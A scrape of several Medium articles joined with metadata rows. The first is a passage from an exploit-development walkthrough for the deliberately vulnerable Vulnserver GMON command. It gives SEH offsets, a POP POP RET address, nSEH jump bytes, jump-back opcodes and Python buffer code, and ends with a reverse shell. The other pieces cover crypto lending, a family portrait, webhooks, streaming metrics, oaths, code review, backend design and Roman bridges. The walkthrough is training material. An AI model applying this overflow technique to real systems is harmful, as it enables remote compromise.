Successfully placed B and C in SEH and nSEH respectively
Checking for bad characters
We send the usual bad characters test array without 0x00 since it is almost always a bad character. We place the bad characters array inside the ‘A’ buffer area and see if any gets corrupted in memory.
No bad characters detected other than 0x00
POP, POP, RET!
We use mona to find a location in the program which has the POP POP RET sequence using the command !mona seh .
POP POP RET locations
We will be using 0x6250172B address in our exploit. This address will be placed in the SEH variable in our exploit and for nSEH, we will place opcode for a short jump of 6 bytes. Our exploit will be something like:
#Original crash payload size = 5013
#SEH Handler Offset = 3519
#nSEH Offset is 3519-4 = 3515 seh = "\x2B\x17\x50\x62"
nseh = "\xEB\x06\x90\x90" buffer = ""
buffer+= "A"*3515
buffer+= nseh
buffer+= seh
buffer+= "D"*(5013-len(buffer)) s.send("GMON /.:/" + buffer)
We set a breakpoint on 0x6250172B and proceed step by step. First the POP, POP, RET sequence executes and the control jumps to nSEH.
Breakpoint added on POP POP RET memory location
After that, there is a short jump and we land in our small pool of ‘D’s 😅. There no space to fit a reverse shell shellcode in place of the ‘D’s. But there are lots of ‘A’s so we will be using that space.
Short Jump
Jumping Back
For jumping back we need to know the exact number of bytes we need to jump so that we can reach the beginning of ‘A’s. We can use the Offset tool to get the difference between the ESP and the address of the first ‘A’.
Now that we know the offset (0x565), we need to write some assembly to jump back.
push esp
pop eax
add ax, 0x565
jmp eax
We get the opcodes using msf-nasm_shell and place it the the ‘D’ area of our buffer.
seh = "\x2B\x17\x50\x62"
nseh = "\xEB\x06\x90\x90"
jumpback = "\x54\x58\x66\x05\x65\x05\xff\xe0" buffer = ""
buffer+= "A"*3515
buffer+= nseh
buffer+= seh
buffer+= jumpback
buffer+= "D"*(5013-len(buffer))
Verify the exploit by setting up a breakpoint and proceeding step by step. After the short jump of 6 bytes, the program jumps back and starts executing the ‘A’s.
EIP is at the memory location where ‘A’s are stored
Finally, we place the shellcode with some nop sled at the beginning of the buffer in place of ‘A’ and execute. We have a shell!
Got reverse shell!
Reference | https://sghosh2402.medium.com/vulnserver-gmon-command-exploit-1cdde13d2d64 | ['Sourov Ghosh'] | 2020-04-10 22:10:36.973000+00:00 | ['Security', 'Hacking', 'Exploit Development', 'Exploit Exercise'] |
Forbidding Never Ending Blurring Abstracts | Learn more. Medium is an open platform where 170 million readers come to find insightful and dynamic thinking. Here, expert and undiscovered voices alike dive into the heart of any topic and bring new ideas to the surface. Learn more
Make Medium yours. Follow the writers, publications, and topics that matter to you, and you’ll see them on your homepage and in your inbox. Explore | https://medium.com/chalkboard/forbidding-never-ending-blurring-abstracts-5007a80f9c5c | ['Francine Fallara'] | 2020-12-12 23:06:14.333000+00:00 | ['Motivation', 'One Line', 'Poetry', 'Inspiration', 'Advent'] |
Crypto.com — A Second Chance. From Blockfi, to Crypto.com to Fulcrum… | From Blockfi, to Crypto.com to Fulcrum: the search continues for high yield…
Chasing yield can lead you places
Not sure if it was the tweet about my article “Switching to Crypto.com from Blockfi, A Misadventure” that did it, but after 8 days Crypto.com finally got things squared away, and I started earning interest.
All of the BTC and USDC funds that I had on Crypto.com and moved to Blockfi now had to be moved back to Crypto.com.
Blockfi has a 48 hr wait on transferring funds, which is at least better than the Crypto.com withdrawal confirmation email that never arrived I experienced previously with Crypto.com.
But I was willing to give Crypto.com a second chance.
Call me a sucker, call me a yield chaser, but I have to admit that even with the trials and tribulations of my various transfers and blocked transfers, and lack of timely support, that 10–12% APR is a siren’s song seducing yield chasers toward shore.
But any reader of the Illiad knows how that one turned out…
48 hour waiting period. A 10 day round robin. Their excuse is because they were experiencing unusually high demand. That, combined with a possible reduction in workforce due to Covid leads me to cut them a little slack. They say in sales that some of your best customers were people who had a bad experience that you are able to turn around and make right.
We’ll see if that turns out to be the case.
3 Months later…
Okay, the thing about Crypto.com is that in order to receive their relatively high interest rate, you are required to lock up your money, with the highest rates applied after a 3 month lockup.
Kinda like a CD.
Long story short, once the “Earn” button showed up, I was able to deposit my USDC, and after 3 months I received 3 months worth of a 10% APY on my deposit.
…and promptly withdrew all of it.
Why? Two reasons…
Locking up coins for 3 months is something I am hesitant to do in a fast moving market, even with stablecoins. Not being able to access my cash when the market is pumping seems like a big negative for Crypto.com. And while the interest rate at Blockfi is only 8.6% for USDC, at least you are able to withdraw the money at any time.
The second reason is that I found a better rate. A much better rate.
Where?
Welcome to Fulcrum
The past 2 weeks I’ve been enjoying the APR at the bzx driven app Fulcrum.
The rates for USDC, Dai, and USDT the past 2 weeks have fluctuated between 84% and 29% APR — far beyond anything I ever received from either Blockfi, or Crypto.com.
As far as I can tell, the interest is continuously compounding, meaning that one doesn’t have to wait until 30 days have passed before the amount is compounded, the interest is compounded at that moment, from second to second.
Which makes sense as the interest fluctuates based on demand.
The Process
The process, once you have done it once, is straightforward, especially when compared with Blockfi and Crypto.com. Connect the Fulcrum app with a supported Ethereum wallet (I used MetaMask which is connected to MyEtherWallet), and start lending. Once you grant access to Fulcrum, you can see the interest start to pile up.
The high interest of 84% I received was during the hack that Fulcrum experienced of $8 million dollars (which they quickly were able to claw back). Since the interest is shared between participants, I believe that the rate increased as weaker lenders left the platform, allowing the remaining interest to be shared among a smaller pool of participants.
For whatever reason I was less concerned about the hack, perhaps because during a previous hack the platformed assured that no user funds would suffer, and everyone would be made whole.
Also, they were able to retrieve the latest $8 million that was hacked by the following day.
I continued to lend my stablecoin funds on Fulcrum, and continue to this day.
Stacking Sats
What methods you use to stack sats are your business, but it may give you some ideas to consider knowing what I do. Half my funds I keep in stablecoins, splitting between USDC, USDT, and DAI, which I lend to Fulcrum, earning anywhere from 30–84% APR. The reason I split it up this way is because the interest rates for these USD equivalents fluctuates, with one coin in the lead versus another.
The other portion is in BTC, which I place in Blockfi. The APR I receive from there simply stacks more BTC every 1st of the month.
Every 3 months or so I “Unlend” a portion of my interest earned on Fulcrum, and purchase BTC.
This way, I benefit from the high interest earned in Stabledollar terms (on Fulcrum), as well as on the hoped-for rise in BTC price.
Backup Plan
I don’t keep all of my BTC on Blockfi, nor all of my dollars on Fulcrum. As we’ve seen with the latest regulatory attacks on Bitmex, as well as the various hack-of-the-day, keeping funds on a centralized platform can be a risk. And even as decentralized as bzx is trying to make Fulcrum, dangers exist there as well, from the sneaky defi “arbitrage” to even more straighforward hacks.
Keeping some crypto and dollars secured off-exchange is a way to secure funds when SHTF, while still benefitting from the insane interest one can get on Defi. | https://medium.com/cryptozoa/crypto-com-a-second-chance-aa841bd77d54 | [] | 2020-10-03 01:44:05.366000+00:00 | ['Defi', 'Cryptocurrency Investment', 'Blockfi', 'Fulcrum', 'Cryptocurrency'] |
The Storytelling Beauty of Found Things | How the discovery of a portrait of my mother sparked my writing
This is my mother. A portrait painted by my father sometime, I believe, in the mid-1960s. My mother would have been in her 30s at the time. My father was an amateur artist, charcoal drawing dogs, pheasants, trout on a fly line, and occasionally portraits—there was one of Jackie Gleason and another of the Pittsburgh boxer, Billy Conn. But until recently, I had never known that my father had painted this watercolor of my mother. I never knew it existed.
When I showed the portrait to anyone who knew my mother, there was no doubt who they were looking at. “Beautiful,” they said. “He truly captured her,” they said. Dad’s talent was not surprising to me. What was, however, was that this portrait was uncovered by mistake, a complete surprise, found tucked inside a small stack of Life magazines (including the edition after the JFK assassination) without anyone now alive knowing it was there. When I saw it, it took my breath away.
Found things. They can ignite buried emotions, new depths of sentimentality and memory. Finding an old photograph of you and your sister, smiling around the candles on a frosted cake at a kids’ birthday party. Finding the key to your boyhood home in a drawer full of what you thought was junk. Finding the baseball you caught after it sailed into the field box seats along the third baseline at a Pirates’ game sometime in the late 1960s. Finding the wooden-shafted putter that your uncle, your father’s brother, used to keep in his Sunday bag. Discovery uncovers chambers in the heart, and found items tug on the tender tissue.
When I write, I look for those discoveries in story. What will surprise me? What revelation unearths something unforgettable? What discovery opens up the box where all the remarkable things are kept? Found things are what we are looking for in our writing, little gems that reveal a bigger truth, an emotion that had been cloaked or forgotten. As writers we are always trying to take something old and give it newness, attempting to uncover the meaning it once had and deliver it with a fresh perspective.
This portrait of my mother may never become the subject of a new story, or the centerpiece of a personal essay, or the motivation for a poem, but it has reignited something deeper, something partially lost in time—a memory forgotten and then found. This portrait is a symbol of the unwavering love my father had for my mother, of the heart that beat for her for more than fifty years. And that rediscovery for a writer lies at the center of everything. Love is what drives all art, and by reminding ourselves of this truth, the act of finding lost things we will always give us stories to tell. | https://medium.com/the-writer-shed/the-storytelling-beauty-of-found-things-44f6e52c8d79 | ['David W. Berner'] | 2020-12-04 04:46:10.313000+00:00 | ['Writers On Writing', 'Writing Life', 'Portraits', 'Art', 'Writing Prompts'] |
Making the Invisible Visible. At Square, the Developers team exposes… | Heads up, we’ve moved! If you’d like to continue keeping up with the latest technical content from Square please visit us at our new home https://developer.squareup.com/blog
At Square, the Developers team exposes APIs that allow third-party developers to build custom business-processing solutions. On October 18, we announced to developers using our APIs that webhooks would now support retries. If a webhook cannot be delivered, our system will now be able to retry multiple times until a successful delivery.
Square’s webhook delivery system is a service I’ll refer to as Webhooks. Improving Webhooks’ reliability was a project I had the opportunity to dive into the first week I started at Square as a new college graduate. From the beginning, we wanted our Webhooks upgrades to require no change on the part of our external developers, in stark contrast to the amount of research, planning and work that went into the project. In fact, the announcement we sent out assured developers that they “should not need to make any changes to support webhooks with retries.” My manager remarked that it was “the most invisible change ever” — and that is how it should be. The focus of our team is to enable developers to easily integrate with Square’s APIs and provide them with a reliable and simple-to-use experience. Perhaps it was my manager’s remark about our “invisible” project that inspired me to share some insight into not only our webhooks reliability project, but also some of our “visibility” practices here at Square.
Webhooks
In web development, webhooks are defined as snippets of code (HTTP callbacks) that are triggered by specific events. As soon as an event occurs, a developer is notified of it and can handle it in real time. With traditional APIs, developers may have to constantly poll an endpoint in order to detect events. I wanted to cover how we designed Webhooks at Square and the changes we made to improve reliability. If you want more technical details about Webhooks at Square, check out our earlier blog post. The most engaging way of explaining webhooks is following the lifecycle of a single webhook notification through Square’s infrastructure.
Let’s say that I own an online store called Lindy’s Laughing Llamas and that it uses Square’s APIs. The application that runs my online store receives webhook notifications from Square. When a llama-loving customer purchases a llama from Lindy’s Laughing Llamas, I receive a webhook notification informing me that someone just made a payment. Between the time of purchase to the time of notification, a lot has happened to transform this payment “event” to a webhook notification that I receive. After the customer purchases a llama, the payment event is published to a feed, which many internal services at Square read. The Webhooks service owned by our team reads this payment event from the feed, transforms the event into a webhook notification, and delivers this notification to the endpoint specified by the Lindy’s Laughing Llamas application. However, during periods of high traffic, events could pile up in the feed, and subsequent notifications could be delayed.
Intuitively, we needed a way to separate the reading of events from a feed and the delivery of a notification. Although there are many approaches to solving this problem, the simplest approach is to create separate thread pools for reading events from the feed and for delivering notifications. Our solution was to shift our Webhooks’ delivery mechanism to the cloud using Amazon Web Services (AWS). Our primary motivation for moving Webhooks to the cloud was to lower Square’s system complexity and costs (rather than having to maintain Webhooks in our own data centers). We could improve Webhooks’ reliability by using well-documented and commonly used cloud infrastructure.
Using AWS allows Webhooks to decouple event reading and notification delivery.
In our new webhooks system, the lifecycle of a Lindy’s Laughing Llamas payment event becoming a webhooks notification changes slightly. After a customer purchases a llama and the payment event is published to a feed, our Webhooks service reads it just as it did before. Once the event is transformed into a webhook notification, our service then sends the notification as a message to AWS. Our tools in AWS contain logic to deliver the message to the Lindy’s Laughing Llamas’ application server. If Lindy’s Laughing Llamas takes too long to respond to the message, or is unable to take a message at the time of delivery, AWS will retry. During every subsequent delivery attempt, AWS increases the time in between retries; this backoff strategy ensures that the message will continuously be retried without overwhelming the server. Additionally, AWS sends metrics about all delivery attempts back to Square.
The end result? A developer of the Lindy’s Laughing Llamas application can stop polling Square’s APIs, since webhook notifications will arrive in a timely manner. If the application server is busy, a developer doesn’t have to worry about missing notifications, because they will be retried. From the perspective of the developer, no changes were necessary to get the new timely notifications and retries.
Visibility and Impact
What surprised me at the conclusion of this project was the amount of visibility it had within Square, as well as other projects. On the day before the launch, we sent a company wide product update email. I was impressed with the meticulousness with which my team combed through old emails, work items, and document comments for people outside of our team who contributed to our project. From code review to design advice, the contributions of these people were not forgotten. And within minutes, the email received “Reply All’s”, expressing congratulations and providing context for the impact of a better webhooks on Square’s developer platform.
A “Product Updates” email sent to everyone at Square.
My team also had the opportunity to share our learning experience. The Developers team has a bi-weekly “lunch and learn” meeting where we get together to present about new technologies, frameworks, and the various services and projects we are working on. These lunch and learn meetings highlight Square’s emphasis on knowledge sharing within the organization. By creating awareness of Webhooks and the technologies our team adopted, the teams we work most closely with can use our learning experience to develop their own projects.
Oh, and Webhooks wasn’t merely visible — it was also audible. After a launch, it is Square tradition to ring the gong, and we let the office know loud and clear that we shipped something new to production.
Ringing the gong after launching a better Webhooks.
Being able to share our knowledge and learning experience, both within Square and outside of Square, is meaningful, but it was just as important to hear feedback from our developers. One developer appreciated our back-off retry policy because it avoided “hammer[ing] [the] server when it’s already having a rough time.” In the week after we launched the improved Webhooks, we were able to successfully deliver over 31,000 notifications that had failed on their first delivery attempt. Being able to quickly make an impact on Webhooks — as a new hire still learning the ropes — inspires me to continue improving Webhooks and start on other projects that help not only our fictional Lindy’s Laughing Llamas, but real-world developers who want to use Square to process online and in-person payments seamlessly. | https://medium.com/square-corner-blog/making-the-invisible-visible-a-look-at-building-tools-for-square-developers-bae30a212950 | ['Lindy Zeng'] | 2019-04-18 20:40:28.874000+00:00 | ['Engineering', 'Webhooks', 'AWS', 'Square', 'Developers'] |
How Data Supports Growth at Each Phase for SVoD Services | With the pending launch of Disney+ and restructure of WarnerMedia streaming video services under HBO Max, there has been a lot of talk about the coming battle for subscribers between the SVoD video giants. Where does that leave the other services already in-market or looking to launch?
According to a post on nScreenMedia, when it comes to the continued growth of the OTT video market, there is still plenty of room for smaller SVoD services in consumers’ living rooms and mobile devices.
“Smaller services are seeing significant growth. We see 20% growth across all the services we track. None are declining.”
– Sarah Henschel, Senior Research Analyst, IHS Markit
Last year, Parrot Analytics released their report, The four phases of global SVOD subscription growth based on the development of original content to be the main driver of member subscriptions. While we agree that content is king, having the best content is only a piece of the puzzle. In one of our recent blog posts, Balancing Your Video Library, we noted that “Cost, ease of use, and content are the strongest influencers when users make decisions about subscribing to streaming platforms.”
Fig. 1 — SVoD growth & usage metrics
Make Informed, Data-Driven Decisions
Regardless of which stage your SVoD service is in, the Wicket Scorecard provides different levels of utility to help you reach the next phase. Implementing recommended foundational work, paying attention to specific key metrics, in addition to making informed, data-driven decisions can help your streaming service grow to its full potential and remain a sustainable business for many years to come.
Below are some tips to utilize as you are growing your video service. Not meant to be a comprehensive, one-size-fits-all guide, this should serve as a list of some of the important details to focus on while working through each phase.
SVoD Service Phases of Growth
Fig. 2 — Phases of subscriber growth for SVoD services
Launch: 0–25,000 subs
Focus
Initially, acquisition with a high conversion rate is the top priority and a key to success. Later, as your customer base begins to grow, acquisition coupled with strong engagement become the top priorities.
Fans love your original content OR maybe you’ve secured licensing for a library of content with a raving fanbase. You’ve done your research and chosen the online video platform to support your SVoD service. You complete a business plan that looks like a track to success. Then it’s time to launch your streaming service and test the digital waters!
Day 1 Insights
Too often, reporting and analytics is the last component that gets thought of when launching a new business, but it’s never too early to collect and organize data. Getting teams into the habit of looking at relevant KPIs (and comparing to Benchmarks) will help guide priorities in managing your video service.
Two key factors to consider in order to successfully avoid standard pitfalls in monitoring the growth of your new business are:
Data Identification: We like to work with our customers to better understand which data sources lead to the most relevant analytics to yield the most effective audience insights platform. Data Structure: Next tackle the upfront work of prioritizing a content metadata strategy, which will help you avoid many problems that plague video services in later stages of development. Inconsistent metadata can create frustrating user experiences and may create recommendations that are irrelevant to users, which in turn will impact revenues.
Implementing best practices is essential to helping emerging video services down the path to success.
Grow Your Subs
In order to grow your subscriber base, it is critical to understand which marketing channels are most effective. The Customer Status per Source Wicket shows how each marketing source is performing across the complete customer lifecycle. This will show not only which sources are most effective at driving trials into your service but will illustrate which source is best at converting trials to paying subscribers and ultimately which is most effective at keeping them subscribed long-term, thus optimizing your marketing channels by informing where to best spend your promotional dollars.
Metrics to Monitor
Use Trial Drivers for content promotion campaigns. Determine which content correlates best with successful conversions and use it for acquisition campaigns
Identify stalled trialists and promote engagement with specific content. You can leverage this with subscriber export from the Content Explorer
Watch conversion rate over time to make sure it is trending positively
Run LTV/CHI®️ score based Lookalike campaigns for happy customers in Facebook
Identify stalled users and promote engagement with content campaigns
Growth: 25,000–100,000 subs
Focus
Continue growth of subscriber numbers, intervene at-risk subscribers and promote reconnects.
You have a real, viable subscription service with a proven business model backed by a solid marketing plan informed by the initial launch phase driving free trials and conversions. You’ve identified which content is driving those trials and converting subscribers. Continue to test and refine in this area.
Grow & Retain Your Subs
Since your video service has been active and growing, you now have enough history under your belt to make sure you’ve established a healthy LTV for your subscribers. How does this compare to industry benchmarks?
Metrics to Monitor
Use CHI for risk evaluation, and reason codes for intervention
Look at voluntary vs. involuntary churn and actively address both
Monitor churn across plans, channels, viewing devices and focus on addressing anomalies, and/or driving subscribers towards lower churn scenarios
Leverage Attention Index for promotion/curation
Attract and Retain: 100,000–250,000 subs
Focus
Drive the business model to sustainability.
The video service is well-utilized. Engagement is up. Subscribers continue to grow and you have a handle on churn; a good understanding of why it happens and you’re actively pursuing solutions to keep it at a minimum. Now things get interesting! You can staff up and get creative with user experience and testing new ways to engage subscribers.
Grow & Retain Your Subs
We’ve shown that subscribers who primarily watch on TV-connected devices watch 2.5x more and churn at 1/2 of the rate of those who watch primarily watch on mobile devices. Consider how you can encourage subscribers to move to “lean back” devices. Additionally, involuntary churn represents 31% of subscriber losses. Monitor this with benchmarks and keep to a minimum.
Metrics to Monitor
Create win-back campaigns based on last watched + Content Explorer
Reengage stalled users
Customers by Device and Conversions by Device
Check the intensity with which subscribers use the video service with WAU/MAU Ratio
Scale: 250,000+ subs
Focus
Now the video service is really beginning to scale up.
You have more complex data and a lot of it. Marketing budgets increase and you can afford more campaigns, A/B testing, a more diversified service that now has value-added features to offer subscribers.
Grow & Retain Your Subs
Be sure to invest in content/genres that are driving the most consumption in the service. Now that the service is well established, it may be time to consider third-party distribution in order to gain more exposure for the service. Run marketing campaigns to keep subscribers engaged or win-back former subscribers with enticing new content or new seasons of content they were fans of in the past. Continuously test, scale, and optimize to dominate your market niché.
Metrics to Monitor
Customers by Plan — Upsell through value-add
Continually measure engagement with Video Views Per Session and Number of Series Watched
Use the Attention index to find “hidden gems;” content with high engagement but low viewership
Utilize Library Breakdown to confirm your content offering matches the consumption of your audience
Identify cross-over content with Content Explorer to keep people interested at the end of a series
Small investments up front pay dividends down the road.
As you can see, making the small investment up front to establish clean datasets that compliment your video service can pay incredible dividends down the road throughout the lifecycle of your business. Because each video service is unique in its content offering, business model, technology stack, etc., these tips are meant to be more of an informational guide. But we’re here to help! If you would like to have a more “custom-fit” solution where our team and our product can analyze your data to give you personalized recommendations and guidelines, let us know if we can be of help, no matter what phase your video business is in.
Phases of Growth for SVoD Services
Please include attribution to wicketlabs.com with this graphic: https://www.wicketlabs.com/wicket-blog/how-data-supports-growth-at-each-phase-for-svod-services/ | https://medium.com/wicket-labs/how-data-supports-growth-at-each-phase-for-svod-services-7e1ae9df9c71 | ['Jeremy Harvey'] | 2019-12-04 20:51:49.267000+00:00 | ['Growth', 'OTT', 'SVOD', 'Insights', 'Data Visualization'] |
The Magic of Choosing to Commit | Have you ever struggled to manifest a goal, only to discover you weren’t truly committed?
Commitment is the only guaranteed way to get serendipity moving in your favor. You may have experienced the phenomena where “A whole stream of events issues from the one decision, raising in your favor unforeseen incidents and assistance.
In this article we’ll explore the steps and strategies to go from partial to full commitment so you can enjoy seeing your intentions manifest.
Belief and commitment
Commitment and belief are intertwined in the what we might call, universal laws. Your lack of full commitment might signal an unwillingness to believe your goal is possible. The opposite holds: If you have a total commitment, you have the willingness to believe that your goal is attainable, regardless of the evidence to the contrary.
As we’ve argued in a recent post, belief is the secret to manifesting your goals and building the life of your dreams. Believing you’ve already received something frees your mind from worry and releases the energy that attracts the goal towards you.
Commitment to a goal is a form of consciousness technology — something that you can do with your mind; therefore, if you understand how the laws of manifestation work, you can manifest all kinds of wonderful things.
One of the significant ways to solidify your commitment entails using oaths, trusts, contracts, vows, promises, agreements, or covenants. You’ve seen this when public officers take an oath of office and vow to protect the office’s ideals or the nation. The same concept features during wedding vows, where couples commit to staying together and loving each other.
So how can you use these concepts to boost your commitment and accelerate your growth?
How to fully commit to your goal
In manifesting the best life possible, you have to negotiate with yourself, and others, to form honorable agreements and contracts. These agreements guide you in a focused direction based on the idea of respecting each other’s freedom to pursue values, dreams, and desires.
We’ll touch on two forms of consciousness technologies that help you commit: Oaths and contracts, along with practical examples.
1) Oaths
An oath is a solemn promise regarding your behavior and conduct. It’s a commitment to hold one’s values, an appeal to a higher power, a commitment to a person, goal, or business. An oath can be as simple as a personal statement or significant as a legally binding contract.
Taking an oath is a powerful process that’s harder to undo. Just like in marriage, you’re more likely to make it work when legally wedded, unlike when you’re just shacking up. The more you put into something, the more you tend to get out. Therefore, an oath compels you to put more into your goal, and as a result, get more from it.
What happens when you voluntarily choose to commit yourself to a specific path in life? You start seeing significant progress. It’s akin to playing an instrument. The more you practice, the better you get at playing. Growth, in any area of life, requires continual commitment and practice.
An oath helps that continual recommitment and invites the magic of universal support.
2) Contracts
A contract is when two or more people state their intentions to figure out ways to manifest a goal in specific terms and with particular conditions. They explicitly agree to carry out the duties required to manifest the goal into reality.
For example, a corporation is just a bunch of people legally bound by contracts, moving in a specific direction.
You can enter into a contract with yourself to do certain things that bring you closer to your goals.
Oaths, vows, contracts, and agreements are forms of consciousness technology that make the building blocks of what comes into reality.
How to use oaths and contracts in daily life
Oaths and contracts are potent tools in manifesting goals. Use them with wisdom to create the personal and professional life you want, and where necessary, contribute to a positive future for the world.
Creating an oath is simple, as we’ll see below. Furthermore, new vows can override old ones, especially when connected to a positive emotional feeling.
The word “emotion” includes the word ‘’motion.” Emotions mobilize words to manifest reality. You tend to actively get behind and act on what you feel strongly about.
Take a look at the example below as you prepare your oath. It’s from typical oaths used in courts of law, legal documents, etc. However, to make an oath your own, use words that carry personal meaning and an emotional connection.
Example
Client challenge — The client wanted to focus on creating a positive world, or what she called, a Golden Age timeline for the world. On the other hand, she was faced with the reality of a cruel world in the news, with the pandemic, economic collapse, famine, environmental degradation, etc. The oath was a personal agreement between her and Universal Intelligence or The Source of all things in the way she understood it.
I, ___ (Name), do solemnly swear that I will focus on seeing the world restored to health, where there is peace of mind inside, peace amongst the people, and a rejuvenation of the outer environment, vibrant health within, people are nourished and thriving. I will do this to the best of my ability, know that what I focus on grows. I will faithfully execute my role within the collective mindset of humanity. And will, to the best of my ability, preserve, protect, and defend this vision. I take this obligation freely without any mental reservation. I choose to faithfully attend to the duties of this role on which I am about to enter…now and always…May the Universe be my witness and eternal partner in this process.
In conclusion
Oaths and contracts form the foundation upon which your goals come into reality. Without that foundation, the old programs, fears, and double-mindedness hamper your progress. These consciousness technologies help you fully commit and invite the power of serendipity into manifesting your goals.
Visit Mindstoryacademy.com/free to get more tools like these. You’ll find free webinars, free downloads, etc. to help you build a more resilient mindset and a more resilient and fulfilling world. | https://medium.com/@carlarieger-90396/the-magic-of-choosing-to-commit-7e19ff1873a7 | ['Carla Rieger'] | 2020-12-23 15:10:41.065000+00:00 | ['Decision Making', 'Success Tips', 'Future', 'Commitment', 'Coaching Skills'] |
How to Ace Your First Code Change at Your New Job | How to Ace Your First Code Change at Your New Job CodeRevGuru Follow Jun 30 · 4 min read
Photo by Charles Deluvio on Unsplash
Meet CodeRev, a career focused software developer that wants to take over the world.
CodeRev studied hard. CodeRev leetcoded hard. CodeRev did tons of side projects. CodeRev even learned React on his spare time.
CodeRev passed the technical interview and successfully got a developer job at a new company. Congrats to CodeRev!
CodeRev got his first issue assigned. CodeRev rubbed his hands together and wanted to make a good impression with his first pull request / code review and banged out the code in a jiffy. Submit pull request. Boom. Mike drop.
But then…
CodeRev got 40 comments on the PR. Turns out the styling is all messed up. Use spaces! CodeRev missed an edge case in his unit test. CodeRev had a spelling error in a variable name. Actually, CodeRev’s PR simply doesn’t build at all.
CodeRev reads through the comments with horror. He’s done. His career is over at this company. Better find a new job.
Photo by Jackson Simmer on Unsplash
Don’t be like CodeRev. Here are some common mistakes to avoid on your first PR at your new job.
Breaking the Build
Do not break the build. Do not check in broken code. Do not ask people to review broken code. Do not assume other people will checkout out your changes locally and build the code. Do not assume.
Common gotchas include not rebasing / merging the latest changes and build your changes on top, not running checkstyle / jslint / whatever linter tools the existing codebase uses, and not running all the legacy unit tests. Yes, all of those tests.
Run the build locally. Run all tests. Make sure checkstyle passes. Don’t break the build and don’t waste other’s time.
Not Actually Solving the Problem
First and foremost, your code needs to be correct. That is, it must solve the problem that you’re trying to solve. Look through the JIRA issue carefully. Ask the issue creators for clarifying questions. Identify for all potential edge cases. For example, can the input ever be invalid or null? What should the UI display if the backend returns 400? Should option A actually be enabled if option B is already involved?
Ask lots of questions. Ask your colleagues for help. Ask the PM before you become enemies. Ask developers that worked on the same code base. Assume nothing. Write good tests. Do the right thing.
Not Respecting Convention / Existing Styles and Patterns
Yes, you are ambitious and you want to do the right thing. You want to drive change and write beautiful code with elegant abstractions. Those are all good things, but there is a place and time for everything.
If your first issue assigned is something like changing the color of this banner, don’t rewrite all the CSS files with LESS cause it’s cooler and much easier to read. The original dev probably used CSS because LESS wasn’t a thing yet. Other developers on your team probably only know plain CSS. The original dev is not less hip than you, the code base is simply an artifact of the times.
Respect what came before. People do things for a reason. Try to follow what is established in the code base. If the existing stuff is hot garbage, bring up refactoring as a separate issue. Communicate with your teammates. Communicate.
Not Proof-Reading Your Code Change
You want to bang out the PR ASAP to show that you’re an elite coder with legendary productivity to establish clout. But then your PR is plagued with copy-paste errors, typos, weird indentations, just downright messy.
Not proof-reading / double-checking your changes express to others that you do not value their time. You are taking away precious focus time from other developers by not being careful about your code.
Honest mistakes are OK, but double, triple check your changes to avoid obvious errors. A good way to attack this is to use a code review checklist like this.
Want One-on-One Help for Your First PR?
At coderevguru.io we believe in creating a safe space for developer to ask for help. From one-on-one Slack sessions for general questions to individual code feedbacks with actionable items, coderevguru.io will help you get to the next level. Reach out to us for help today at [email protected]. | https://medium.com/dev-genius/how-to-ace-your-first-code-change-at-your-new-job-efba52dd4a27 | [] | 2020-07-01 07:41:05.487000+00:00 | ['Developer', 'Software Engineering', 'Software', 'Software Development', 'Code Review'] |
Hidden Anatomy of Backend Applications | We’re using a lot of different languages, platforms and frameworks to write backend applications. They dictate/promote/enable very different styles, approaches, architectures of the backend application. We are rarely looking under the hood of these tools, especially down to the level where happens actual interaction between backend application and external environment, most frequently OS API layer. But if we do, we may discover that all that languages/platforms/frameworks are just an isolation layer which hides the true internal structure of the backend application.
Let's take a look under the hood. For this purpose we’ll try to analyze how a very simple HTTP request is processed at the low level.
So, let’s imagine that we have an app with very simple entry point which just responds with fixed string on every GET request.
The environment (for example, OS) interacts with the hardware (probably via some virtualization layer, if the application runs in container) and receives one or more TCP/IP packets. Once these packets are received, they are delivered to the application. Depending on how the I/O processing is implemented in the application, delivering of the data can be performed slightly differently, but at the end, the application obtains a buffer with data received from the network. Now these data need to be processed. In case of HTTP, input data usually are added to some internal memory buffer until the full HTTP request (or, at least HTTP header) is obtained. Once the request is received, it is passed to further processing. In our case this will be parsing of the request. If the request is a GET request, then the application code is called. The application code responds with the processing result — the fixed string. This result then formatted as an HTTP response using some other internal buffer and then this buffer is passed to the environment for the transmission via network.
Note that at this level of abstraction the processing described above can be represented with the following simple scheme I/O ⇒ transformation ⇒ I/O. The scheme is the same regardless from the used tools and environment.
Let’s make the endpoint a bit more complex. Instead of responding with the fixed string, add a call to the external service which returns some string (for example, random greeting). The processing scheme will look like this:
I/O (incoming request from client) ⇒ preparation of the request to external service ⇒ I/O (request to external service); delay; I/O (response from external service) ⇒ formatting response to client ⇒ I/O (response to client).
While the chain of I/O and transformations got longer, it still consists of clearly visible chunks: I/O ⇒ transformation ⇒ I/O. The delay which separates two chunks represents the latency of receiving the response.
Let’s make the endpoint even more complex: build response from the data received from two different services. The processing scheme will look like this:
I/O (incoming request from client) ⇒ preparation of the request to external service 1 ⇒ I/O (request to external service 1); delay;
I/O (response from external service 1) ⇒ preparation of the request to external service 2 ⇒ I/O (request to external service 2); delay;
I/O (response from external service 2) ⇒ formatting response to client ⇒ I/O (response to client).
For convenience the whole chain is split at the delay points.
Notice that the scheme above describes a sequential version of the processing, i.e. we call first service and then second. The asynchronous version of the same processing may send both requests to external services at once and then wait for the results. When results are obtained, they are transformed into the response to the client. This change affects following things:
(reduces) latency of the processing,
the timing where each request to each external service is sent
how processing/transformation is organized
Nevertheless, these changes do not affect the high level view of the whole processing scheme, so we can ignore them for now.
It’s easy to note that regardless from how complex processing is, it can be split into the set of I/O ⇒ transformation ⇒ I/O chunks. The same is true for every endpoint and for the whole application. This observation results to very interesting implications: | https://medium.com/@sergiy-yevtushenko/hidden-anatomy-of-backend-applications-50c9c9b67ed9 | ['Sergiy Yevtushenko'] | 2021-01-02 01:51:29.638000+00:00 | ['Backend Development', 'Backend', 'Architecture'] |
The Ancient Roman Bridge, a Timeless Engineering Feat | The Ancient Roman Bridge, a Timeless Engineering Feat
Ancient Romans were the first major bridge builders. Through extensive use of the arch and concrete they perfected, they built the biggest and longest-lasting bridges of antiquity.
The Puente Romano de Mérida in Spain, completed in 117 AD, is the world’s longest surviving bridge of the ancient times. Ángel M. Felicísimo from Mérida, España, CC BY-SA 2.0, via Wikimedia Commons.
Stone arch after stone arch. That is the basics of an Ancient Roman bridge. Their shape and form don’t change much from that. Although it doesn’t sound fancy presented like this, it is yet another of the Ancient Romans' exceptional engineering feats. I’ll explain why.
